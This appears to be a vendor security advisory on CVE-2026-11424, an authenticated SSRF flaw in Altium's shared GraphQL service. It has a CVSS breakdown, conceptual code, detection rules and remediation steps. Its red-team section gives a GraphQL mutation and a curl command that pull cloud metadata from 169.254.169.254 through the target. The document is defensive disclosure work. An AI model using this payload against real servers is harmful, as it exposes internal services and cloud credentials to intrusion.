CVE-2026-11424

Executive Summary

CVE-2026-11424 is a Server-Side Request Forgery (SSRF) vulnerability in a shared GraphQL service component used by Altium Enterprise Server and Altium 365. An authenticated attacker can submit a crafted request where the server treats user input as a URL, issuing an outbound HTTP GET request without validation or destination filtering. The response body is returned to the attacker, enabling access to internal services and metadata endpoints not reachable from the public network. The impact is information disclosure and internal infrastructure reconnaissance. Altium Enterprise Server is fixed in version 8.1.1, and Altium 365 has been remediated at the service level.

Supply Chain & Package Security

This vulnerability affects proprietary Altium software components, not open-source packages. However, organizations using Altium Enterprise Server or Altium 365 should verify they are on patched versions to prevent supply chain risks from compromised internal services.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
• Base Score: 7.7 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authentication
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality: High (C:H) – internal service data exposed
• Integrity: None (I:N)
• Availability: None (A:N)

Threat Level: High. While authentication is required, the low complexity and potential to access sensitive internal services make this a significant risk for organizations using affected versions.

Deep Dive & Mechanics

The vulnerability resides in a GraphQL service component shared by Altium Enterprise Server and Altium 365. The GraphQL endpoint accepts user input that is used as a URL for an outbound HTTP GET request. The server does not validate or filter the destination URL, allowing an authenticated attacker to specify arbitrary internal addresses (e.g., http://169.254.169.254/latest/meta-data/ for cloud metadata, or http://internal-service:8080/). The server fetches the resource and returns the response body to the attacker.

Key Technical Details:

• Attack Vector: Authenticated user sends a GraphQL mutation or query with a URL parameter.
• Request Primitive: Limited to HTTP GET with no custom headers.
• Impact: Information disclosure (e.g., cloud metadata, internal service configurations) and internal network reconnaissance.
• Scope: The SSRF allows the attacker to pivot from the public-facing service to internal networks, bypassing firewalls.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// GraphQL resolver (vulnerable)
const resolvers = {
  Query: {
    fetchUrl: async (_, { url }) => {
      const response = await axios.get(url); // No validation
      return response.data;
    }
  }
};

Patched Code (Conceptual):

// GraphQL resolver (patched)
const { URL } = require('url');
const allowedHosts = ['api.example.com', 'trusted-service.internal'];

const resolvers = {
  Query: {
    fetchUrl: async (_, { url }) => {
      const parsedUrl = new URL(url);
      if (!allowedHosts.includes(parsedUrl.hostname)) {
        throw new Error('URL not allowed');
      }
      const response = await axios.get(url);
      return response.data;
    }
  }
};

Patch Details: Altium Enterprise Server version 8.1.1 includes input validation and destination filtering. Altium 365 was remediated at the service level, likely by implementing an allowlist or disabling the vulnerable functionality.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for Altium Enterprise Server or Altium 365.
• Network access to the GraphQL endpoint (e.g., /graphql).

Exploitation Steps:

1. Authenticate to the Altium service and obtain a session token.
2. Send a GraphQL request to the vulnerable endpoint with a URL pointing to an internal resource.

Example GraphQL Mutation:

mutation {
  fetchUrl(url: "http://169.254.169.254/latest/meta-data/") {
    content
  }
}

Curl Command:

curl -X POST https://target.altium.com/graphql \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { fetchUrl(url: \"http://169.254.169.254/latest/meta-data/\") { content } }"}'

Expected Output: The response will contain the AWS metadata (or other internal service data) if the target is hosted on AWS.

Blue Team

Detection Steps:

1. Monitor GraphQL logs for unusual fetchUrl or similar mutations with internal IP addresses or cloud metadata URLs.
2. Alert on outbound HTTP GET requests from the Altium server to internal IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254).
3. Review authentication logs for users performing reconnaissance-like queries.

Mitigation:

• Apply the patch (Altium Enterprise Server 8.1.1 or later).
• For Altium 365, ensure the service-level remediation is active.
• Implement network segmentation to limit outbound traffic from the Altium server.
• Use a web application firewall (WAF) to block requests to internal IPs in GraphQL parameters.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP GET requests from the Altium server to internal IP addresses (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x, 169.254.169.254).
  • GraphQL requests containing URLs with internal IPs or cloud metadata endpoints.
• Log IOCs:
  • GraphQL query logs showing fetchUrl or similar mutations with suspicious URLs.
  • Authentication logs showing repeated access to GraphQL endpoints by the same user.
• File IOCs:
  • Temporary files or logs containing internal service data (e.g., cloud metadata JSON).

Detection Engineering

YARA Rule

rule CVE_2026_11424_SSRF_Altium {
  meta:
    description = "Detects SSRF attempts against Altium Enterprise Server or Altium 365 GraphQL endpoint"
    author = "Valters IT"
    date = "2026-01-01"
    reference = "CVE-2026-11424"
  strings:
    $graphql_endpoint = "/graphql"
    $ssrf_url = /(http|https):\/\/(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/
    $metadata_url = "169.254.169.254"
  condition:
    $graphql_endpoint and ($ssrf_url or $metadata_url)
}

Sigma Rule

title: CVE-2026-11424 SSRF in Altium GraphQL Service
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SSRF attempts against Altium Enterprise Server or Altium 365 GraphQL endpoint
author: Valters IT
date: 2026-01-01
logsource:
  category: webserver
  product: altium
detection:
  selection:
    cs-uri-query|contains: "/graphql"
    cs-uri-query|contains|all:
      - "fetchUrl"
      - "http://"
  condition: selection
falsepositives:
  - Legitimate use of the feature if allowed by policy
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-11424 SSRF in Altium GraphQL Service"; flow:to_server,established; content:"/graphql"; http_uri; content:"fetchUrl"; http_client_body; pcre:"/(http|https):\/\/(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch Altium Enterprise Server: Upgrade to version 8.1.1 or later.
2. Verify Altium 365: Confirm the service-level remediation is applied (contact Altium support if unsure).
3. Network Segmentation: Restrict outbound HTTP traffic from the Altium server to only necessary external services.
4. WAF Rules: Deploy web application firewall rules to block GraphQL requests containing internal IPs or cloud metadata URLs.

Long-Term Measures:

• Implement input validation and allowlisting for all URL parameters in GraphQL resolvers.
• Conduct regular security audits of GraphQL endpoints.
• Monitor for SSRF patterns in application logs.

Workarounds (if patching is delayed):

• Disable the vulnerable GraphQL mutation if possible.
• Use a reverse proxy to filter outbound requests from the Altium server.

Valters IT